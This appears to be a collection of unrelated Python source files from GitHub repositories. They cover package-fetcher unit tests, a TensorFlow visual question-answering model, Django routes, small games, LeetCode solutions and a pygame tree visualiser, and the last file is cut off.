{"seq_id":"391244811","text":"import unittest\nimport os\nimport shutil\nimport tempfile\nimport zmq\nimport threading\nimport time\n\nimport kiskadee.queue\nimport kiskadee\n\n\nclass FetchersTestCase(unittest.TestCase):\n    def test_loading(self):\n        _config = kiskadee.config\n        _config['debian_fetcher'] = {'active': 'no'}\n        _config['juliet_fetcher'] = {'active': 'yes'}\n        _config['example_fetcher'] = {'active': 'yes'}\n        kiskadee.config = _config\n        fetchers = kiskadee.load_fetchers()\n        for fetcher in fetchers:\n            name_index = len(fetcher.__name__.split('.')) - 1\n            name = fetcher.__name__.split('.')[name_index]\n            self.assertTrue(name != 'debian')\n        kiskadee.config['example_fetcher'] = {\n                'target': 'example',\n                'description': 'SAMATE Juliet test suite',\n                'analyzers': 'cppcheck flawfinder',\n                'active': 'yes'\n            }\n\n\nclass DebianFetcherTestCase(unittest.TestCase):\n\n    def setUp(self):\n        import kiskadee.fetchers.debian\n        self.debian_fetcher = kiskadee.fetchers.debian.Fetcher()\n        self.data = self.debian_fetcher.config\n\n    def _download_sources_gz(self):\n        tmp_path = tempfile.gettempdir()\n        path = tempfile.mkdtemp(dir=tmp_path)\n        source = 'kiskadee/tests/test_source/Sources.gz'\n        shutil.copy2(source, path)\n        return path\n\n    def test_mount_sources_gz_url(self):\n        mirror = self.data['target']\n        release = self.data['release']\n        url = self.debian_fetcher._sources_gz_url()\n        expected_url = \"%s/dists/%s/main/source/Sources.gz\" % (mirror, release)\n        self.assertEqual(url, expected_url)\n\n    def test_uncompress_sources_gz(self):\n        tmp_path = tempfile.gettempdir()\n        temp_dir = tempfile.mkdtemp(dir=tmp_path)\n        self.debian_fetcher._download_sources_gz = self._download_sources_gz\n        temp_dir = self.debian_fetcher._download_sources_gz()\n        self.debian_fetcher._uncompress_gz(temp_dir)\n        files = os.listdir(temp_dir)\n        shutil.rmtree(temp_dir)\n        self.assertTrue('Sources' in files)\n\n    def test_enqueue_a_valid_pkg(self):\n        tmp_path = tempfile.gettempdir()\n        temp_dir = tempfile.mkdtemp(dir=tmp_path)\n        self.debian_fetcher._download_sources_gz = self._download_sources_gz\n        temp_dir = self.debian_fetcher._download_sources_gz()\n        self.debian_fetcher._uncompress_gz(temp_dir)\n        self.debian_fetcher._queue_sources_gz_pkgs(temp_dir)\n        shutil.rmtree(temp_dir)\n\n        some_pkg = kiskadee.queue.Queues.dequeue_package()\n        self.assertTrue(isinstance(some_pkg, dict))\n        self.assertIn('name', some_pkg)\n        self.assertIn('version', some_pkg)\n        self.assertIn('fetcher', some_pkg)\n        self.assertIn('meta', some_pkg)\n        self.assertIn('directory', some_pkg['meta'])\n\n    def test_mount_dsc_url(self):\n        expected_dsc_url = (\"http://ftp.us.debian.org\" +\n                            \"/debian/pool/main/0/0ad/0ad_0.0.21-2.dsc\")\n        sample_package = {'name': '0ad',\n                          'version': '0.0.21-2',\n                          'meta': {'directory': 'pool/main/0/0ad'}}\n        url = self.debian_fetcher._dsc_url(sample_package)\n        self.assertEqual(expected_dsc_url, url)\n\n    def test_compare_gt_version(self):\n        new = '1.1.1'\n        old = '1.1.0'\n        result = self.debian_fetcher.compare_versions(new, old)\n        self.assertTrue(result)\n\n    def test_compare_smallest_version(self):\n        new = '8.5-2'\n        old = '8.6-0'\n        result = self.debian_fetcher.compare_versions(new, old)\n        self.assertFalse(result)\n\n    def test_compare_equal_version(self):\n        new = '3.3.3-0'\n        old = '3.3.3-0'\n        result = self.debian_fetcher.compare_versions(new, old)\n        self.assertFalse(result)\n\n\nclass TestAnityaFetcher(unittest.TestCase):\n\n    def setUp(self):\n        import kiskadee.fetchers.anitya\n        self.anitya_fetcher = kiskadee.fetchers.anitya.Fetcher()\n\n        self.msg = \"anitya {'body':{'msg':{'package':{name: 'urlscan',\"\\\n                   \"'version':'0.8.5','backend':'GitHub',\"\\\n                   \"'homepage':'https://github.com/firecat53/urlscan'}}}}\"\n\n        self.msg1 = \"{'body':{'msg':{'package':{name: 'urlscan',\"\\\n                    \"'version':'0.8.5','backend':'GitHub',\"\\\n                    \"'homepage':'https://github.com/firecat53/urlscan'}}}}\"\n\n    def test_connect_to_zmq(self):\n\n        def zmq_server():\n            context = zmq.Context()\n            socket = context.socket(zmq.PUB)\n            socket.bind(\"tcp://*:7776\")\n\n        zmq_server()\n        socket = self.anitya_fetcher._connect_to_zmq(\"7776\", \"anitya\")\n        self.assertIsNotNone(socket)\n\n    def test_receive_msg_from_zmq(self):\n        \"\"\"definitely this is not a unit test, but is important to kiskadee\n        be able to interact correctly with ZeroMQ.\n        We need to define other test levels to kiskadee asap.\n        When we do that, we can move integration tests\n        to a proper place. For now we will maintain this test here\"\"\"\n\n        def zmq_server():\n            context = zmq.Context()\n            socket = context.socket(zmq.PUB)\n            socket.bind(\"tcp://*:7776\")\n            time.sleep(1)\n            socket.send_string(\"%s\" % (self.msg))\n            time.sleep(1)\n\n        def receive_msg_from_server():\n            client_socket = self.anitya_fetcher._connect_to_zmq(\n                    \"7776\", \"anitya\")\n            if client_socket:\n                response = client_socket.recv_string()\n                results[0] = response[response.find(\" \")+1::]\n            else:\n                results[0] = \"invalid\"\n\n        results = [None]\n\n        client_as_thread = threading.Thread(target=receive_msg_from_server)\n        server_as_thread = threading.Thread(\n                target=zmq_server)\n\n        server_as_thread.start()\n        client_as_thread.start()\n        server_as_thread.join()\n        self.assertEqual(self.msg1, results[0])\n\n    def test_compare_versions(self):\n        is_greater = self.anitya_fetcher.compare_versions('0.8.5-2', '0.8.5-1')\n        self.assertTrue(is_greater)\n\n    def test_load_backend(self):\n        backend = self.anitya_fetcher._load_backend('github')\n        self.assertIsNotNone(backend)\n\n    def test_not_load_backend(self):\n        backend = self.anitya_fetcher._load_backend('foo')\n        self.assertEqual(backend, {})\n\n    def test_get_sources(self):\n\n        def mock_github(self, fetcher, source_data, path):\n            return 'kiskadee/tests/test_source/Sources.gz'\n\n        kiskadee.fetchers.anitya.Backends.github = mock_github\n        source_data = {'meta': {'backend': 'GitHub'}}\n        source_path = self.anitya_fetcher.get_sources(source_data)\n        self.assertEqual(source_path, mock_github(\n            \"self\", \"example\", \"foo\", \"bla\")\n            )\n\n    def test_create_package_dict(self):\n\n        self.anitya_fetcher.package_to_enqueue(self.msg)\n        _dict = kiskadee.queue.Queues().dequeue_package()\n        self.assertEqual(_dict['name'], 'urlscan')\n        self.assertEqual(_dict['version'], '0.8.5')\n        self.assertEqual(_dict['meta']['backend'], 'GitHub')\n        self.assertEqual(\n                _dict['meta']['homepage'],\n                'https://github.com/firecat53/urlscan'\n        )\n        self.assertEqual(_dict['fetcher'], 'kiskadee.fetchers.anitya')\n\n\nif __name__ == '__main__':\n    unittest.main()\n","repo_name":"pharshid/kiskadee","sub_path":"kiskadee/tests/plugins/test_plugins.py","file_name":"test_plugins.py","file_ext":"py","file_size_in_byte":7477,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"}
{"seq_id":"10793423610","text":"import tensorflow as tf\nimport tensorflow.contrib.layers as tfc_layers\n\nfrom generic.tf_utils.abstract_network import ResnetModel\nfrom generic.tf_factory.image_factory import get_image_features\nfrom generic.tf_factory.attention_factory import get_attention\n\nimport neural_toolbox.rnn as rnn\n\nfrom neural_toolbox.film_stack import FiLM_Stack\n\n\nclass FiLMCLEVRNetwork(ResnetModel):\n\n    def __init__(self, config, num_words, num_answers, reuse=False, device=''):\n        ResnetModel.__init__(self, \"clevr\", device=device)\n\n        with tf.variable_scope(self.scope_name, reuse=reuse):\n            batch_size = None\n            self._is_training = tf.placeholder(tf.bool, name=\"is_training\")\n\n            dropout_keep_scalar = float(config[\"dropout_keep_prob\"])\n            dropout_keep = tf.cond(self._is_training,\n                                   lambda: tf.constant(dropout_keep_scalar),\n                                   lambda: tf.constant(1.0))\n\n            #####################\n            #   QUESTION\n            #####################\n\n            self._question = tf.placeholder(tf.int32, [batch_size, None], name='question')\n            self._seq_length = tf.placeholder(tf.int32, [batch_size], name='seq_length')\n            self._answer = tf.placeholder(tf.int64, [batch_size], name='answer')\n\n            word_emb = tfc_layers.embed_sequence(\n                ids=self._question,\n                vocab_size=num_words,\n                embed_dim=config[\"question\"][\"word_embedding_dim\"],\n                scope=\"word_embedding\",\n                reuse=reuse)\n\n            if config[\"question\"]['glove']:\n                self._glove = tf.placeholder(tf.float32, [None, None, 300], name=\"glove\")\n                word_emb = tf.concat([word_emb, self._glove], axis=2)\n\n            word_emb = tf.nn.dropout(word_emb, dropout_keep)\n\n            _, last_rnn_state = rnn.rnn_factory(\n                inputs=word_emb,\n                seq_length=self._seq_length,\n                cell=config[\"question\"][\"cell\"],\n                num_hidden=config[\"question\"][\"rnn_state_size\"],\n                bidirectional=config[\"question\"][\"bidirectional\"],\n                max_pool=config[\"question\"][\"max_pool\"],\n                layer_norm=config[\"question\"][\"layer_norm\"],\n                reuse=reuse)\n\n            last_rnn_state = tf.nn.dropout(last_rnn_state, dropout_keep)\n\n            #####################\n            #   IMAGES\n            #####################\n\n            self._image = tf.placeholder(tf.float32, [batch_size] + config['image'][\"dim\"], name='image')\n\n            visual_features = get_image_features(image=self._image,\n                                                 is_training=self._is_training,\n                                                 config=config['image'])\n\n            with tf.variable_scope(\"image_film_stack\", reuse=reuse):\n                film_stack = FiLM_Stack(image=visual_features,\n                                        film_input=last_rnn_state,\n                                        is_training=self._is_training,\n                                        config=config[\"film_block\"],\n                                        reuse=reuse)\n\n                visual_features = film_stack.get()\n\n            # Pool Image Features\n            with tf.variable_scope(\"image_pooling\"):\n                multimodal_features = get_attention(visual_features, last_rnn_state,\n                                                    is_training=self._is_training,\n                                                    config=config[\"pooling\"],\n                                                    dropout_keep=dropout_keep,\n                                                    reuse=reuse)\n\n            with tf.variable_scope(\"classifier\"):\n                self.hidden_state = tfc_layers.fully_connected(multimodal_features,\n                                                               num_outputs=config[\"classifier\"][\"no_mlp_units\"],\n                                                               normalizer_fn=tfc_layers.batch_norm,\n                                                               normalizer_params={\"center\": True, \"scale\": True,\n                                                                                  \"decay\": 0.9,\n                                                                                  \"is_training\": self._is_training,\n                                                                                  \"reuse\": reuse},\n                                                               activation_fn=tf.nn.relu,\n                                                               reuse=reuse,\n                                                               scope=\"classifier_hidden_layer\")\n\n                self.out = tfc_layers.fully_connected(self.hidden_state,\n                                                      num_outputs=num_answers,\n                                                      activation_fn=None,\n                                                      reuse=reuse,\n                                                      scope=\"classifier_softmax_layer\")\n\n            #####################\n            #   Loss\n            #####################\n\n            self.cross_entropy = tf.nn.sparse_softmax_cross_entropy_with_logits(logits=self.out, labels=self._answer, name='cross_entropy')\n            self.loss = tf.reduce_mean(self.cross_entropy)\n\n            self.softmax = tf.nn.softmax(self.out, name='answer_prob')\n            self.prediction = tf.argmax(self.out, axis=1, name='predicted_answer')  # no need to compute the softmax\n\n            with tf.variable_scope('accuracy'):\n                self.accuracy = tf.equal(self.prediction, self._answer)\n                self.accuracy = tf.reduce_mean(tf.cast(self.accuracy, tf.float32))\n\n            tf.summary.scalar('accuracy', self.accuracy)\n\n            print('Model... build!')\n\n    def get_loss(self):\n        return self.loss\n\n    def get_accuracy(self):\n        return self.accuracy\n\n\nif __name__ == \"__main__\":\n\n    import json\n    with open(\"../../../config/clevr/config.film.json\", 'r') as f_config:\n        conf = json.load(f_config)\n\n    FiLMCLEVRNetwork(conf[\"model\"], num_words=354, num_answers=56)\n","repo_name":"GuessWhatGame/clevr","sub_path":"src/clevr/models/film_network.py","file_name":"film_network.py","file_ext":"py","file_size_in_byte":6235,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"19"}
{"seq_id":"70208862125","text":"from django.urls import path\nfrom . import views\nfrom .views import HomeView,ArticleDetailView,AddPostView,UpdatePostView,DeletePostView,AddCatergoryView,CategoryView,CategoryListView,LikeView,AddCommentView\nurlpatterns = [\n    #path('',views.home,name=\"home\"),\n    path('',HomeView.as_view(),name=\"home\"),\n    path('article/<int:pk>',ArticleDetailView.as_view(),name=\"article_detail\"),\n    path('add_post/',AddPostView.as_view(),name=\"add_post\"),\n    path('update_post/<int:pk>',UpdatePostView.as_view(),name=\"update_post\"),\n    path('delete_post/<int:pk>',DeletePostView.as_view(),name=\"delete_post\"),\n    path('add_category/',AddCatergoryView.as_view(),name=\"add_category\"),\n    path('category/<str:cats>/',CategoryView,name='category'),\n    path('category_list/',CategoryListView,name='category_list'),\n    path('like_post/<int:pk>',LikeView,name='like_post'),\n    path('add_comment/',views.add_comment,name=\"add_comment\"),\n    path('search_box/',views.search_box,name=\"search_box\"),\n    path('delete_comment/<int:id>',views.delete_comment,name=\"delete_comment\"),\n]","repo_name":"Esakkinathan/blog","sub_path":"myblog/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1069,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"}
{"seq_id":"24005837524","text":"import cv2\r\nimport time\r\nimport numpy as np\r\nimport HandTrackModule as htm\r\nimport pyautogui\r\n\r\nwCam, hCam = 640, 480\r\nwScreen, hScreen = pyautogui.size()\r\ncap = cv2.VideoCapture(0)\r\ncap.set(3, wCam)\r\ncap.set(4, hCam)\r\n\r\ndetector = htm.handDetection(maxNumOfHands = 1, minDetConfidence=0.75,maxDetConfidence=0.75)\r\n\r\nplocX, plocY = 0, 0\r\nclocX, clocY = 0, 0\r\nsmooth = 3    #smoothening the trajectory of the point\r\n\r\n\r\npTime = 0\r\nframe = 120    #size of the working area\r\n\r\n\r\nwhile True:\r\n    success, img = cap.read()\r\n    img = cv2.flip(img,1)\r\n    img = detector.findHands(img)\r\n    lmList, bbox = detector.findPosition(img, draw = False)\r\n\r\n    if len(lmList) != 0:\r\n        x1, y1 = lmList[8][1:]\r\n        x2, y2 = lmList[12][1:]\r\n\r\n        fingers = detector.fingersUP()\r\n\r\n        x3 = int(np.interp(x1, (frame, wCam - frame), (0, wScreen)))\r\n        y3 = int(np.interp(y1, (frame, hCam - frame), (0, hScreen)))\r\n\r\n        clocX = plocX + (x3 - plocX) / smooth\r\n        clocY = plocY + (y3 - plocY) / smooth\r\n\r\n\r\n        #print(fingers)\r\n        if fingers[1] == 1 and fingers[2] == 0:         #moving mode\r\n            cv2.circle(img, (x1, y1), 10, (0, 255, 0), cv2.FILLED)\r\n\r\n            cv2.putText(img, 'Working area', (frame , frame ), cv2.FONT_ITALIC, 2, (0, 255, 0), 2 )\r\n            cv2.rectangle(img, (frame, frame), (wCam - frame, hCam - frame), (0, 0, 255, 3))\r\n            pyautogui.moveTo(clocX, clocY, _pause=False)\r\n\r\n\r\n\r\n\r\n        plocX, plocY = clocX, clocY\r\n\r\n\r\n    cTime = time.time()  # current time\r\n    fps = 1 / (cTime - pTime)\r\n    pTime = cTime\r\n\r\n    cv2.putText(img, str(int(fps)), (10, 20), cv2.FONT_ITALIC, 1, (0, 255, 0), 3)\r\n\r\n\r\n    cv2.imshow(\"Img\", img)\r\n    cv2.waitKey(1)\r\n","repo_name":"Drowziorz/DniOtwarte","sub_path":"Mouse_control.py","file_name":"Mouse_control.py","file_ext":"py","file_size_in_byte":1715,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"}
{"seq_id":"25293066907","text":"import turtle\nimport time\n\nt = turtle.Pen()\n\nt.right(72)\nfor i in range(5):\n     t.forward(100)\n     t.right(144)\nt.right(108)\n\nt.circle(54)\n\ntime.sleep(5)\n","repo_name":"ShiinaOrez/PhuPythonClub","sub_path":"BasicGrammar/3_1/TurtleTest.py","file_name":"TurtleTest.py","file_ext":"py","file_size_in_byte":156,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"19"}
{"seq_id":"39827987030","text":"import pygame,time,random\nfrom graph.color import *\n#from graph.points import pointsMany as points\nfrom Trees.twoD_tree import points,root\nimport math\nfrom algorithms.data_struct.queue import queue\n\npygame.init()\nscreen_width,screen_height = 1200,700\nscreen = pygame.display.set_mode((screen_width,screen_height))\nscreen.fill(Black)\n\n\ndef print_lines(pos,vertical,XL = 10,YD = 10,XR = screen_width-200,YU = screen_height-50):\n    x,y = pos\n\n    if vertical: pygame.draw.line(screen,Cyan,(XL,y),(XR,y))\n    else:        pygame.draw.line(screen,Red ,(x,YD),(x,YU))\n    pygame.display.update()\n\n\n\ndef print_point(position, color= White,radius = 4, index=-1):\n    pygame.draw.circle(screen,color,position,radius)\n    if index > -1:\n        font = pygame.font.Font('freesansbold.ttf',14)\n        text = font.render( str(index),True, White)    \n        screen.blit(text,text.get_rect(center = position))\n    \n    pygame.display.update()\n\ndef arrow(screen, start, end, lcolor = Light_grey, tricolor = Black,  trirad= 4, thickness=2):\n    pygame.draw.line(screen, lcolor, start, end, thickness)\n    rotation = (math.atan2(start[1] - end[1], end[0] - start[0])) + math.pi/2\n    rad = 180/math.pi\n    pygame.draw.polygon(screen, tricolor, (\n            (end[0] + trirad * math.sin(      rotation    ), end[1] + trirad * math.cos(     rotation     )),                    \n            (end[0] + trirad * math.sin(rotation - 120*rad), end[1] + trirad * math.cos(rotation - 120*rad)),\n            (end[0] + trirad * math.sin(rotation + 120*rad), end[1] + trirad * math.cos(rotation + 120*rad))\n        )\n    )\n    pygame.display.update()\n\n\n\nfor point in points:\n    print_point(point)\n\nxL,yD,xR,yU = 10,10,screen_width,screen_height\nvertical = False\n\nQ = queue()\n\nQ.insert( (root,xL,yD,xR,yU, vertical) )\n\npause = False\nrunning =  True\nwhile running :\n\n    # pygame stuff:\n    for event in pygame.event.get():\n        if event.type == pygame.QUIT:\n            pygame.quit()                   #exit pygame,\n            running = False                          #exit() program\n\n        if event.type == pygame.KEYDOWN:\n            if event.key == pygame.K_SPACE:\n                pause = not pause\n                time.sleep(0.2)\n    \n    if pause:\n        continue\n\n    if Q.not_empty():\n        cur,xL,yD,xR,yU,vertical = Q.pop()\n    else: continue\n\n    print(cur.x,cur.y)\n    print_point((cur.x,cur.y),(vertical)*Cyan + (not vertical)*Red,radius = 6)\n    print_lines((cur.x,cur.y),vertical,xL,yD,xR,yU)\n    time.sleep(0.5)\n\n    if vertical == True:\n        #print_point((cur.x,cur.y),Cyan,radius = 6)\n        if cur.right:\n            Q.insert( (cur.right, xL, cur.y , xR ,  yU   , not vertical)  )\n            arrow(screen, (cur.x,cur.y),(cur.right.x,cur.right.y))\n            #print_point((cur.right.x,cur.right.y),Red,radius = 6)\n            time.sleep(0.2)\n        if cur.left :\n            Q.insert( (cur.left , xL,   yD  , xR , cur.y , not vertical ) )\n            arrow(screen, (cur.x,cur.y),(cur.left .x,cur.left .y))\n            #print_point((cur.left.x,cur.left.y),Red,radius = 6)\n            time.sleep(0.2) \n    else:\n        #print_point((cur.x,cur.y),Red,radius = 6)\n        if cur.right: \n            Q.insert( (cur.right,cur.x,yD,xR,yU, not vertical) )\n            arrow(screen, (cur.x,cur.y),(cur.right.x,cur.right.y))\n            #print_point((cur.right.x,cur.right.y),Cyan,radius = 6)\n            time.sleep(0.2)\n        if cur.left : \n            Q.insert( (cur.left ,xL,yD,cur.x,yU, not vertical) )\n            arrow(screen, (cur.x,cur.y),(cur.left .x,cur.left .y))\n            #print_point((cur.left.x,cur.left.y),Cyan,radius = 6)\n            time.sleep(0.2)\n    \n\n\n    ","repo_name":"Raafm/algorithm_visualization","sub_path":"countPoints_temp.py","file_name":"countPoints_temp.py","file_ext":"py","file_size_in_byte":3678,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"19"}
{"seq_id":"43702020044","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sat Jan 19 13:25:54 2019\n\n*args\n\nsource = 'source name', startID = int(optional)\n\nif no int is given, id's will start at 001\nexample: {'WebSource_001': ['feces', 'comes with the other hole']}\n\nparse_html module searches for patterns of:\n    <tag>word or words (2-3)</tag>\n    <tag>paragraph</tag>\n\nand returns a dictionary of:\n    {'Source_UniqueID': ['frontface', 'backface']}\n    \n\nTODO:\n    Separate gen function and parser\n    Refactor and check is passing too much\n    Add API interface specification\n\n@author: vince\n\"\"\"\nimport re\nfrom bs4 import BeautifulSoup\n\n\ndef searchDataType(**kwargs):\n    dataInfo = kwargs\n    dataFile = dataInfo['data']\n    \n    # read a line of input to assess type\n    \n    #html\n    pattern = '<*>'\n    rep = re.compile(pattern)\n    if rep.search(dataFile):\n        return {'type': 'html', 'file': dataFile}\n    \n\ndef validateData(terms, descriptions):\n    return len(terms) == len(descriptions)\n\n\ndef packData(**kwargs):\n    \n    terms = kwargs['terms']\n    descriptions = kwargs['descriptions']\n    source = kwargs['source']\n    \n    packed_data = {}\n    for i in range(len(terms)):\n        uid = '{0}_{1:03d}'.format(source, i)\n        packed_data[uid] = [terms[i],descriptions[i]]\n    return packed_data\n\ndef cleanTags(instring):\n    replace_set = [\"b'\", \"<p>\", \"</p>\", \"<em>\", \"</em>\"]\n    \n    for pattern in replace_set:\n        instring = instring.replace(pattern, '')\n        \n    return instring\n\n\nif __name__ == \"__main__\":\n    \n    raw = open(\"Lexicon_Raw_HTML.html\", \"r\") \n    firstLine = raw.readline()\n    \n    if searchDataType(data=firstLine)['type'] == 'html':\n        soup = BeautifulSoup(firstLine, features='html.parser')\n        \n        ## Look for term and description tags\n        if soup.dd:\n            terms = soup.find_all('dt')\n            descriptions = soup.find_all('dd')\n            \n            terms_cleaned = []\n            for term in terms:\n                if not term('a'):\n                    terms_cleaned.append(term.string)\n            \n            descriptions_cleaned = []\n            for description in descriptions:\n                if not description.string:\n                    for child in description.children:\n                        descriptions_cleaned.append(cleanTags(str(child.encode('utf-8'))))\n                else:\n                    descriptions_cleaned.append(description.string)\n                \n\n    if validateData(terms_cleaned, descriptions_cleaned):\n        print('Data validated')\n    \n    print(packData(terms=terms_cleaned, descriptions=descriptions_cleaned, source='PMP_Lexicon'))\n    \n    raw.close()\n    ","repo_name":"newnativeabq/pmp-tools","sub_path":"importCards/parse_html.py","file_name":"parse_html.py","file_ext":"py","file_size_in_byte":2653,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"}
{"seq_id":"47908364973","text":"class Solution:\n    def orangesRotting(self, grid: List[List[int]]) -> int:\n        q = deque()\n        num_rotten = 0\n        \n        nrows = len(grid)\n        ncols = len(grid[0])\n        fresh_oranges = 0\n        \n        for i in range(nrows):\n            for j in range(ncols):\n                if grid[i][j] == 2:\n                    q.append((i,j, 0))\n                    num_rotten += 1\n                elif grid[i][j] == 1:\n                    fresh_oranges += 1\n        max_min = 0\n        \n        while q:\n            \n            i, j, mini = q.popleft()\n            max_min = max(max_min, mini)\n            \n            for _dir in [(i+1,j), (i-1,j), (i, j+1), (i, j-1)]:\n                \n                if _dir[0] >= 0 and _dir[0] < nrows and _dir[1] >=0 and _dir[1] < ncols:\n                    if grid[_dir[0]][_dir[1]] == 0:\n                        continue\n                    elif grid[_dir[0]][_dir[1]] == 1:\n                        grid[_dir[0]][_dir[1]] = 2\n                        q.append((_dir[0], _dir[1], mini+1))\n                        fresh_oranges -= 1\n        \n        return max_min if not fresh_oranges else -1","repo_name":"cnulenka/Coding-Practice","sub_path":"994-rotting-oranges/994-rotting-oranges.py","file_name":"994-rotting-oranges.py","file_ext":"py","file_size_in_byte":1146,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"}
{"seq_id":"40851440491","text":"from IPython.display import clear_output\r\nimport random\r\n\r\ndef display_board(board):\r\n    board_list = [[board[7],board[8],board[9]],[board[4],board[5],board[6]],[board[1],board[2],board[3]]]\r\n    for i in board_list:\r\n        print(i)\r\n\r\n\r\ndef player_input():\r\n    choice = 'wrong'\r\n    while choice not in ['X', 'O']:\r\n        choice = input('Please choose between X or O')\r\n        if choice not in ['X', 'O']:\r\n            print('Sorry, invalid choice')\r\n\r\n    return choice\r\n\r\ndef place_marker(board, marker, position):\r\n    board[position] = marker\r\n\r\ndef win_check(board, mark):\r\n    if board[7] == mark and board[8] == mark and board[9] == mark:\r\n        return True\r\n    elif board[4] == mark and board[5] == mark and board[6] == mark:\r\n        return True\r\n    elif board[1] == mark and board[2] == mark and board[3] == mark:\r\n        return True\r\n    elif board[7] == mark and board[5] == mark and board[3] == mark:\r\n        return True\r\n    elif board[9] == mark and board[5] == mark and board[1] == mark:\r\n        return True\r\n    elif board[7] == mark and board[4] == mark and board[1] == mark:\r\n        return True\r\n    elif board[8] == mark and board[5] == mark and board[2] == mark:\r\n        return True\r\n    elif board[9] == mark and board[6] == mark and board[3] == mark:\r\n        return True\r\n    else:\r\n        return False\r\n\r\n\r\ndef choose_first():\r\n    random_num = random.randint(1, 10)\r\n    if random_num > 5:\r\n        first_player = player1\r\n        print('Player 1 goes first')\r\n    else:\r\n        first_player = player2\r\n        print('Player 2 goes first')\r\n\r\n    return first_player\r\n\r\ndef space_check(board, position):\r\n    return board[position] == ' '\r\n\r\ndef full_board_check(board):\r\n    for i in board:\r\n        if i != ' ':\r\n            return True\r\n        else:\r\n            return False\r\n\r\ndef player_choice(board):\r\n    position = 0\r\n    while position not in [1, 2, 3, 4, 5, 6, 7, 8, 9] or not space_check(board, position):\r\n        position = int(input('Please enter a position between 1 and 9'))\r\n\r\n    return position\r\n\r\ndef replay():\r\n    response = input('Do you want to play again? Enter Y for yes, N for no')\r\n    if response == 'Y':\r\n        return True\r\n    else:\r\n        return False\r\n\r\n\r\nprint('Welcome to Tic Tac Toe!')\r\nplayer2 = ''\r\ngame_on = 'wrong'\r\nwhile True:\r\n    # Set the game up here\r\n    def display_board(board):\r\n        board_list = [[board[7], board[8], board[9]], [board[4], board[5], board[6]], [board[1], board[2], board[3]]]\r\n        for i in board_list:\r\n            print(i)\r\n\r\n\r\n    board = ['#', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ']\r\n    player1 = player_input()\r\n    if player1 == 'X':\r\n        player2 = 'O'\r\n    else:\r\n        player2 = 'X'\r\n    # pass\r\n    choose_first()\r\n    while game_on:\r\n\r\n        # Player 1 Turn\r\n        position = player_choice(board)\r\n        # space_check(board,position)\r\n        place_marker(board, player1, position)\r\n        display_board(board)\r\n        if win_check(board, player1) == True:\r\n            break\r\n\r\n        # Player2's turn.\r\n        position = player_choice(board)\r\n        # space_check(board,position)\r\n        place_marker(board, player2, position)\r\n        display_board(board)\r\n        if win_check(board, player2) == True:\r\n            break\r\n\r\n        full_board_check(board)\r\n\r\n    if not replay():\r\n        break","repo_name":"aml7785/tictactoe","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3357,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"}
{"seq_id":"18421682491","text":"# S6:\n\n# Foydalanuvchi istlagan xonali son kiritadi va sizning vazifangiz ushbu\n# sonni birliklar, o’nliklar, yuzliklar va hokazo xonalar yig’indisi\n# yoyilmasiga aylantirib chiqaradigan funksiya tuzish. strga yig'ib\n# qaytarsin.\n\n# input: 123\n# output: 100+20+3\n\n# input: 4213\n# output: 4000+200+10+3\n\ndef yigindi_yoyish(son):\n    str_son = str(son)\n    return \"+\".join([d + \"0\" * (len(str_son) - i - 1)\n                     for i, d in enumerate(str_son)])\n\n\nprint(yigindi_yoyish(int(\n    input(\"Istalgan xonali sonni kiriting: \"))))\n","repo_name":"Tohirjon-Odilov/python","sub_path":"py_311_modul_s1/s6.py","file_name":"s6.py","file_ext":"py","file_size_in_byte":540,"program_lang":"python","lang":"uz","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"}
{"seq_id":"11349435849","text":"#!/usr/bin/env python\n\"\"\"\nCREATED AT: 2022/4/16\nDes:\nhttps://leetcode-cn.com/contest/season/2022-spring/problems/WHnhjV/\nGITHUB: https://github.com/Jiezhi/myleetcode\n\nDifficulty: Easy\n\nTag: \n\nSee: \n\nDES:\n2. 烹饪料理\n\n欢迎各位勇者来到力扣城，城内设有烹饪锅供勇者制作料理，为自己恢复状态。\n\n勇者背包内共有编号为 0 ~ 4 的五种食材，其中 meterials[j] 表示第 j 种食材的数量。通过这些食材可以制作若干料理，cookbooks[i][j] 表示制作第 i 种料理需要第 j 种食材的数量，而 attribute[i] = [x,y] 表示第 i 道料理的美味度 x 和饱腹感 y。\n\n在饱腹感不小于 limit 的情况下，请返回勇者可获得的最大美味度。如果无法满足饱腹感要求，则返回 -1。\n\n注意：\n\n每种料理只能制作一次。\n\"\"\"\nimport collections\nfrom typing import List\n\n\nclass Solution:\n    def perfectMenu(self, materials: List[int], cookbooks: List[List[int]], attribute: List[List[int]],\n                    limit: int) -> int:\n        \"\"\"\n        meterials.length == 5\n        1 <= cookbooks.length == attribute.length <= 8\n        cookbooks[i].length == 5\n        attribute[i].length == 2\n        0 <= meterials[i], cookbooks[i][j], attribute[i][j] <= 20\n        1 <= limit <= 100\n        \"\"\"\n        n = len(cookbooks)\n        dq = collections.deque()\n        dq.append((materials, 1, 0, 0))\n        dq.append(([materials[i] - cookbooks[0][i] for i in range(5)], 1, attribute[0][0], attribute[0][1]))\n        ret = -1\n        while dq:\n            mat, pos, cnt, lim = dq.popleft()\n            if any(x < 0 for x in mat) or pos > n:\n                continue\n            if lim >= limit:\n                ret = max(ret, cnt)\n            if pos == n:\n                continue\n            dq.append(([mat[i] - cookbooks[pos][i] for i in range(5)], pos + 1, cnt + attribute[pos][0],\n                       lim + attribute[pos][1]))\n            dq.append((mat, pos + 1, cnt, lim))\n        return ret\n\n\ndef test():\n    assert Solution().perfectMenu(materials=[3, 2, 4, 1, 2],\n                                  cookbooks=[[1, 1, 0, 1, 2], [2, 1, 4, 0, 0], [3, 2, 4, 1, 0]],\n                                  attribute=[[3, 2], [2, 4], [7, 6]],\n                                  limit=5) == 7\n\n\nif __name__ == '__main__':\n    